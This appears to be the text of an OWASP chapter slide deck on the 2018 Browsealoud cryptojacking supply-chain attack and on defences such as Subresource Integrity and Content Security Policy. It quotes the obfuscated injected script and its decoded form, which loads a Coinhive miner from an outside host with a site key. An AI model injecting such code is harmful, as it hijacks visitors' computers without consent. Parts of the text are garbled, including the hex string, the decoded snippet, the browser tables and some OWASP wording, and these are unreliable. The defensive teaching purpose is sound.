Cryptojacking:
Hijacking Websites for Fun & Profit

André Van Klaveren | St. Louis OWASP Chapter
Cyber-Criminal Motivations

- Terrorism
- Religion
- Cyber Warfare
- Idealism
- Vigilantism
What is Cryptojacking?

cryp·to·jack
/'kriptōjak/
Verb, Slang

1) The unauthorized use of computing resources for the purpose of mining cryptocurrency to benefit a third party.
Feb. 11, 2018: The Incident
The Setup

- Many countries and states have laws requiring their information systems (websites, etc.) to be accessible to people with disabilities
- Many are also required, or merely wish, to provide multilingual access
- Several companies provide accessibility and translation services to websites by providing either browser plugins or a JavaScript API
Texthelp to the Rescue!

- Texthelp provides a service called Browsealoud
  - Provides sites with reading and translation support
  - As easy as adding a JavaScript snippet to your site!

“Our innovative support software adds speech, reading, and translation to Websites facilitating access and Participation for people with Dyslexia, Low Literacy, English as a Second Language, and those with mild visual impairments”

Source: https://www.texthelp.com/en-gb/products/browsealoud/getstartedwithbrowsealoud/
The Motivation

- Criminals have begun to realize that they no longer need to compromise thousands of websites in order to maximize their cryptojacking profits
- To get a crypto miner onto thousands of websites, attack the one website that they all include code from
- Instant cryptojacking of all visitors to sites that use the modified library!
Anatomy of the Hack

Criminals compromised the Texthelp servers and added a single line of obfuscated JavaScript to the Browsealoud code:

```javascript
window['"\x64\x6f\x63\x75\x6d\x65\x6e\x74"']['\x77\x72\x69\x74\x70\x74']('"\x3c\x73\x63\x72\x69\x70\x74\x70\x74\x3e\x3c\x73\x63\x72\x69\x70\x74\x70\x74\x3e \x69\x28\x6e\x61\x76\x69\x67\x61\74\x6f\72\x2e\x68\x61\x72\x64\x77\x61\74\x6f\72\x2e\x68\x61\x72\x64\x69\x76\x74\x61\74\x6f\72\x2f\x33\x29\x7b \x76\x61\x63\x70\x75\x72\x43\x6f\6e\66\69\67 \x3d \x7b\x74\x68\x72\x65\x61\64\x73\x3a \x38 \x74\x68\x72\x65\x61\64\x73\x3a \x30 \x6e\65\77\x43\x6f\69\6e\48\x69\76\x65\x70\x76\x69\3e"');
```

https://pastebin.com/x772SUQU
Anatomy of the Hack

The web browser decodes and executes:

```javascript
window["document"]["write"]("write type='text/javascript' src='https://coinhive.com/lib/coinhive.min.js?rnd="+window["Math"]["random"]()+"'></script>"));window["document"]["write"]('<script> if (navigator.hardwareConcurrency > 1){ var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency/3),throttle:0.6}} else { var cpuConfig = {threads: 8,throttle:0.6}} var miner = new CoinHive.Anonymous('1GdQGpY1pivrGlVHSp5P2Irr9cyTzzXq\', cpuConfig);miner.start();</script>);
```

Within seconds, all visitors to websites using the Browsealoud service were now mining Monero cryptocurrency for the attackers!

https://pastebin.com/57vPLKAH
What Went Wrong?

- 4000+ web sites implicitly trusted Texthelp to ensure the security and integrity of the Browsealoud JavaScript library
- Security controls protecting the Browsealoud code from being compromised failed
- Developers didn’t apply appropriate security controls when they embedded the Browsealoud component in their web pages
Preventing These Attacks

1) Subresource Integrity (SRI)
2) Content Security Policy (CSP)
Subresource Integrity (SRI)

- Introduces the *integrity* attribute to `<script>` and `<link>` tags
- Instructs browsers to perform cryptographic integrity checks (SHA hash) on included web assets before accepting them
- Browsers make a CORS enabled request for the asset, perform the requested hash digest on the retrieved content, and compares the results to the hash specified by the developer
- If the hashes don’t match, throw it out!

SRI Example

Source: https://www.texthelp.com/en-gb/products/browsealoud/getstartedwithbrowsealoud/
## SRI Browser Compatibility

Subresource Integrity enables browsers to verify that a file is delivered without unexpected manipulation.

### Source:
[https://caniuse.com/#search=SRI](https://caniuse.com/#search=SRI)

### Table

<table>
<thead>
<tr>
<th>Browser</th>
<th>IE</th>
<th>Edge</th>
<th>Firefox</th>
<th>Chrome</th>
<th>Safari</th>
<th>iOS Safari</th>
<th>Opera Mini</th>
<th>Chrome for Android</th>
<th>UC Browser for Android</th>
<th>Samsung Internet</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>16</td>
<td>59</td>
<td>60</td>
<td>66</td>
<td>11.1</td>
<td>11.2</td>
<td>11.2</td>
<td>66</td>
<td>11.8</td>
<td>6.2</td>
</tr>
<tr>
<td></td>
<td>18</td>
<td>61</td>
<td>62</td>
<td>67</td>
<td>TP</td>
<td>68</td>
<td>68</td>
<td>69</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Usage:**
- **Global:** 75.58%
Generating SRI Hashes

Create your SRI hash

https://www.browsealoud.com/plus/scripts/2.5.2/ba.js

<script src="https://www.browsealoud.com/plus/scripts/2.5.2/ba.js" integrity="sha256-pZUIaM0vAGsl0/tgIhNx2p/USK0a1jxOss+LCUCvU= sha384-SDQkKNei86jmeCesjipzTEZfJG4Us+zZR2Dmsur94XFcIwMm7ixVAgd/6D7K40B8Ef sha512-u/Qw2M8T2H7AV8T2vPD2DAhM5qulEF1PB2Prqe34FeaUSyJpd1HBEw0xFQIlm/B3HuOnRQyktP7iS+Mm0TQ=" crossorigin="anonymous"></script>

Source: https://report-uri.com/home/sri_hash
Content Security Policy (CSP)

- Introduces the `Content-Security-Policy` HTTP header
- Primarily intended as an extra layer of security to help detect and mitigate attacks, especially XSS, among other things
- Whitelists for content sources (js, css, img, media, etc.)
- Older browsers ignore this new header, so it’s “safe” to implement NOW
- Has a reporting directive that allows for debugging and real-time detection of attacks!
CSP Example (with Unsafe Options)


Source: https://github.com
## CSP 1.0 Browser Compatibility

**Content Security Policy 1.0 - CR**

Mitigate cross-site scripting attacks by whitelisting allowed sources of script, style, and other resources.

<table>
<thead>
<tr>
<th>Current aligned</th>
<th>Usage relative</th>
<th>Date relative</th>
<th>Show all</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE</td>
<td>Edge</td>
<td>*</td>
<td>Firefox</td>
</tr>
<tr>
<td>11</td>
<td>16</td>
<td>*</td>
<td>59</td>
</tr>
<tr>
<td>11</td>
<td>17</td>
<td>*</td>
<td>60</td>
</tr>
<tr>
<td>18</td>
<td>61</td>
<td></td>
<td>67</td>
</tr>
</tbody>
</table>

Source: https://caniuse.com/#search=CSP
## CSP 2.0 Browser Compatibility

Mitigate cross-site scripting attacks by whitelisting allowed sources of script, style, and other resources. CSP 2 adds hash-source, nonce-source, and five new directives.

<table>
<thead>
<tr>
<th>Browser</th>
<th>Usage</th>
<th>Percent of Users</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Edge</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Firefox</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Chrome</td>
<td>49</td>
<td>64</td>
</tr>
<tr>
<td>Safari</td>
<td>11</td>
<td>10.3</td>
</tr>
<tr>
<td>iOS Safari</td>
<td>6.6</td>
<td>11.3</td>
</tr>
<tr>
<td>Opera Mini</td>
<td>all</td>
<td>66</td>
</tr>
<tr>
<td>UC Browser for Android</td>
<td>11.8</td>
<td>6.2</td>
</tr>
<tr>
<td>Samsung Internet</td>
<td>4</td>
<td></td>
</tr>
</tbody>
</table>

Source: [https://caniuse.com/#search=CSP](https://caniuse.com/#search=CSP)
Other Things to Consider

• Consider whether the component should be used at all
  – Security history
  – Actively maintained
  – Component provider reputation

• Are you willing to extend your threat and risk models to include the component provider?

• Can the component be hosted on your own infrastructure?
Lessons Learned

- Your threat models MUST include all third-party servers hosting code used by your web applications.

- Use SRI and CSP to protect your users from unintended XSS attacks when using components hosted on CDNs or other third-party infrastructure:
  - CSP has the ability to completely mitigate XSS risk if a fully effective policy can be developed for a site.

- Always research and continuously monitor the security posture of all third-party components used in your applications.

- OWASP Top 10, A9 – Using Components with Known Vulnerabilities.
Aside: OWASP Top 10 2017 - A9


Is the Application Vulnerable?

You are likely vulnerable:

- If you do not know the versions of all components you use (both client-side and server-side). This includes components you directly use as well as nested dependencies.

- If software is vulnerable, unsupported, or out of date. This includes the OS, web application server, database management system (DBMS), applications, APIs and all components, runtime environments, and libraries.

- If you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the components you use.

- If you do not fix or upgrade the underlying platform, frameworks, and dependencies in a real-world, timely fashion. This commonly happens in environments where patching is a monthly or quarterly task under change control, which leaves organizations open to many days or months of unnecessary exposure to fixed vulnerabilities.

- If software developers do not test the compatibility of updated, upgraded, or patched libraries.

- If you do not secure the components’ configurations (see: All-2017-Security-MiscConfiguration).

How to Prevent

There should be a patch management process in place to:

- Remove unused dependencies, unnecessary features, components, files, and documentation.

- Continuously inventory the versions of both client-side and server-side components (i.e. frameworks, libraries) and their dependencies using tools like: [versionR](https://versionr.github.io), [DependencyCheck](https://www.dependencycheck.org), etc. Continuously monitor sources like [CVE](https://cve.mitre.org) and [MDP](https://www.mysafeprotected.com) for vulnerabilities in the components. Use software composition analysis tools to automate the process. Subscribe to email alerts for security vulnerabilities related to components you use.

- Only obtain components from official sources over secure links. Prefer signed packages to reduce the chance of including a modified, malicious component.

- Monitor for libraries and components that are unmaintained or do not create security patches for older versions. If patching is not possible, consider deploying a virtual cheat to monitor, detect, or protect against the discovered issue.

Every organization must ensure that there is an ongoing plan for monitoring, triaging, and applying updates or configuration changes for the lifetime of the application or portfolio.
Questions / Comments?

André Van Klaveren, CISSP, GSSP-JAVA, GWAPT
andre@vanklaverens.com
@opratr